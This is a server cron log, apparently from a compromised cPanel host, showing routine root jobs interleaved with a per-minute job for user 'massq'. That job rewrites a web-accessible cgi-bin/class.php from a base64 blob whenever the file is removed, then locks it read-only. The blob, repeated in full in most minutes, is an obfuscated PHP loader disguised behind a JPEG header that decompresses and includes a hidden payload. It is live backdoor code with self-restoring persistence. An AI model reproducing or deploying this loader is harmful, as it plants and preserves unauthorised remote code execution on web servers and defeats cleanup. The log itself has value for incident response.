Sep  1 17:48:01 server CROND[28099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:49:01 server CROND[28471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:49:01 server CROND[28472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:49:01 server CROND[28473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:50:01 server CROND[28907]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 17:50:01 server CROND[28908]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 17:50:01 server CROND[28910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:50:01 server CROND[28913]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 17:50:01 server CROND[28922]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 17:50:01 server CROND[28924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:50:01 server CROND[28923]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:50:01 server CROND[28927]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:50:01 server CROND[28925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:51:01 server CROND[29843]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:51:01 server CROND[29844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:51:01 server CROND[29845]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:52:01 server CROND[30217]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:52:01 server CROND[30216]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:52:01 server CROND[30218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:53:01 server CROND[30611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:53:01 server CROND[30612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:53:01 server CROND[30613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:54:01 server CROND[30990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:54:01 server CROND[30989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:54:01 server CROND[30991]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:55:01 server CROND[31377]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 17:55:01 server CROND[31379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:55:01 server CROND[31389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:55:01 server CROND[31391]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 17:55:01 server CROND[31392]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 17:55:01 server CROND[31393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:55:01 server CROND[31390]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 17:56:01 server CROND[32312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:56:01 server CROND[32313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:56:01 server CROND[32314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:57:01 server CROND[32718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:57:01 server CROND[32719]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 17:57:01 server CROND[32721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:57:01 server CROND[32720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:58:01 server CROND[679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:58:01 server CROND[680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:58:01 server CROND[681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 17:59:01 server CROND[1140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 17:59:01 server CROND[1141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 17:59:01 server CROND[1142]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:00:01 server CROND[1577]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 18:00:01 server CROND[1579]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 18:00:01 server CROND[1590]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 18:00:01 server CROND[1594]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:00:01 server CROND[1583]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
